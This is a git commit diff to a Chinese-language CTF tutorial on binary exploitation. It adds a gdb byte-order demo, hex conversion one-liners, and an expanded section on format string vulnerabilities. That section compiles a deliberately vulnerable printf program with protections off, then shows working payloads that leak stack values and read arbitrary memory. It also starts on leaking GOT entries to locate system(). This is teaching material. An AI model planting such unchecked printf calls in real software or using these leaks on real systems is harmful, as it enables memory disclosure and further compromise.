This commit is contained in:
firmianay 2017-09-09 23:53:40 +08:00
parent 89b8a2ee17
commit 725b9780d6
3 changed files with 325 additions and 84 deletions

View File

@ -167,6 +167,32 @@ Big-endian 规定 MSB 在存储时放在低地址,在传输时放在流的开
![](../pic/1.3_byte_order.png)
我们在内存中实际地看一下,在地址 `0xffffd584` 处有字符 `1234`,在地址 `0xffffd588` 处有字符 `5678`
```text
gdb-peda$ x/w 0xffffd584
0xffffd584: 0x34333231
gdb-peda$ x/4wb 0xffffd584
0xffffd584: 0x31 0x32 0x33 0x34
gdb-peda$ python print('\x31\x32\x33\x34')
1234
gdb-peda$ x/w 0xffffd588
0xffffd588: 0x38373635
gdb-peda$ x/4wb 0xffffd588
0xffffd588: 0x35 0x36 0x37 0x38
gdb-peda$ python print('\x35\x36\x37\x38')
5678
gdb-peda$ x/2w 0xffffd584
0xffffd584: 0x34333231 0x38373635
gdb-peda$ x/8wb 0xffffd584
0xffffd584: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
gdb-peda$ python print('\x31\x32\x33\x34\x35\x35\x36\x37\x38')
123455678
db-peda$ x/s 0xffffd584
0xffffd584: "12345678"
```
## 输入输出
- 使用命令的输出作为可执行文件的输入参数

View File

@ -295,161 +295,363 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
```c
#include<stdio.h>
void main() {
char format[32];
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
```
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
```
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
```
我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。
```text
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
0x5655563b <main+126>: lea eax,[ebp-0x94]
0x56555641 <main+132>: push eax
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
0x56555647 <main+138>: add esp,0x20
0x5655564a <main+141>: sub esp,0xc
0x5655564d <main+144>: push 0xa
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x")
arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x")
0024| 0xffffd5d8 (".%08x.%08x.%08x")
0028| 0xffffd5dc ("x.%08x.%08x")
0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
0x56555642 in main ()
gdb-peda$ x/10x $esp
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
0xffffd570: 0xf7ffda54 0x00000001
gdb-peda$ c
Continuing.
00000001.88888888.ffffffff.00008000
[Inferior 1 (process 31270) exited with code 012]
00000001.88888888.ffffffff.ffffd57a.ffffd584
```
格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。
当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。
当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。
```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%p.%p.%p.%p")
EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
0x5655563b <main+126>: lea eax,[ebp-0x94]
0x56555641 <main+132>: push eax
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
0x56555647 <main+138>: add esp,0x20
0x5655564a <main+141>: sub esp,0xc
0x5655564d <main+144>: push 0xa
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%p.%p.%p.%p")
arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%p.%p.%p.%p")
0024| 0xffffd5d8 ("p.%p.%p")
0028| 0xffffd5dc --> 0x70252e ('.%p')
0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
0x56555642 in main ()
gdb-peda$ c
Continuing.
0x1.0x88888888.0xffffffff.0x8000
[Inferior 1 (process 31309) exited with code 012]
0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584
```
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:
```
%<arg#>$<format>
%n$x
```
这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。
```
db-peda$ n
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd608 --> 0x0
ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
EIP: 0x56555612 (<main+85>: call 0x56555430 <printf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655560b <main+78>: push DWORD PTR [ebp-0xc]
0x5655560e <main+81>: lea eax,[ebp-0x34]
0x56555611 <main+84>: push eax
=> 0x56555612 <main+85>: call 0x56555430 <printf@plt>
0x56555617 <main+90>: add esp,0x10
0x5655561a <main+93>: sub esp,0xc
0x5655561d <main+96>: push 0xa
0x5655561f <main+98>: call 0x56555450 <putchar@plt>
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
0x5655563b <main+126>: lea eax,[ebp-0x94]
0x56555641 <main+132>: push eax
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
0x56555647 <main+138>: add esp,0x20
0x5655564a <main+141>: sub esp,0xc
0x5655564d <main+144>: push 0xa
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0004| 0xffffd5c4 --> 0x1
0008| 0xffffd5c8 --> 0x88888888
0012| 0xffffd5cc --> 0xffffffff
0016| 0xffffd5d0 --> 0x8000
0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p")
0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p")
0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p")
0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555612 in main ()
0x56555642 in main ()
gdb-peda$ x/10w $esp
0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff
0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830
0xffffd5e0: 0x70243225 0x2432252e
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
0xffffd570: 0xf7ffda54 0x00000001
gdb-peda$ c
Continuing.
ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325
ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220
```
这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。
#### 查看任意地址的内存
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。
还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`
```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("%4$s")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
0x5655563b <main+126>: lea eax,[ebp-0x94]
0x56555641 <main+132>: push eax
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
0x56555647 <main+138>: add esp,0x20
0x5655564a <main+141>: sub esp,0xc
0x5655564d <main+144>: push 0xa
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd584 ("%4$s")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("%4$s")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("%4$s")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555642 in main ()
gdb-peda$ c
Continuing.
ABCD
```
上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。
```
gdb-peda$ python print("AAAA"+".%p"*20)
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
...
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
EBX: 0x56557000 --> 0x1efc
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
0x5655563b <main+126>: lea eax,[ebp-0x94]
0x56555641 <main+132>: push eax
=> 0x56555642 <main+133>: call 0x56555430 <printf@plt>
0x56555647 <main+138>: add esp,0x20
0x5655564a <main+141>: sub esp,0xc
0x5655564d <main+144>: push 0xa
0x5655564f <main+146>: call 0x56555450 <putchar@plt>
Guessed arguments:
arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
arg[1]: 0x1
arg[2]: 0x88888888
arg[3]: 0xffffffff
arg[4]: 0xffffd57a ("ABCD")
[------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555642 in main ()
```
格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的:
```
gdb-peda$ x/20w $esp
0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
gdb-peda$ x/20wb 0xffffd584
0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
0xffffd594: 0x2e 0x25 0x70 0x2e
gdb-peda$ python print('\x2e\x25\x70')
.%p
```
下面是程序运行的结果:
```
gdb-peda$ c
Continuing.
AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
```
`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`
```
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b printf
Breakpoint 1 at 0x8048350
gdb-peda$ r < text
Starting program: /home/firmy/Desktop/RE4B/a.out < text
[----------------------------------registers-----------------------------------]
EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd618 --> 0x0
ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e27c1b <fprintf+27>: ret
0xf7e27c1c: xchg ax,ax
0xf7e27c1e: xchg ax,ax
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
0xf7e27c25 <printf+5>: add eax,0x16f243
0xf7e27c2a <printf+10>: sub esp,0xc
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
0008| 0xffffd554 --> 0x1
0012| 0xffffd558 --> 0x88888888
0016| 0xffffd55c --> 0xffffffff
0020| 0xffffd560 --> 0xffffd57a ("ABCD")
0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
gdb-peda$ x/20w $esp
0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888
0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc
0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e
0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2
gdb-peda$ x/s 0xffffd57a
0xffffd57a: "ABCD"
gdb-peda$ c
Continuing.
z<EFBFBD><EFBFBD><EFBFBD>.ABCD
```
当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样:
先看一下重定向表:
```
$ readelf -r a.out
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
```
`.rel.plt` 中有四个函数可供我们选择,但是这里就有一些技巧了。
要到12点了先push了打卡要紧打卡要紧。
#### 覆盖栈内容

View File

@ -195,6 +195,19 @@ E: . > N ^ n ~
F: / ? O _ o DEL
```
Hex 转 Char
```shell
$ echo -e '\x41\x42\x43\x44'
$ printf '\x41\x42\x43\x44'
$ python -c 'print(u"\x41\x42\x43\x44")'
$ perl -e 'print "\x41\x42\x43\x44";'
```
Char 转 Hex
```shell
$ python -c 'print(b"ABCD".hex())'
```
## nohup 和 &
`nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。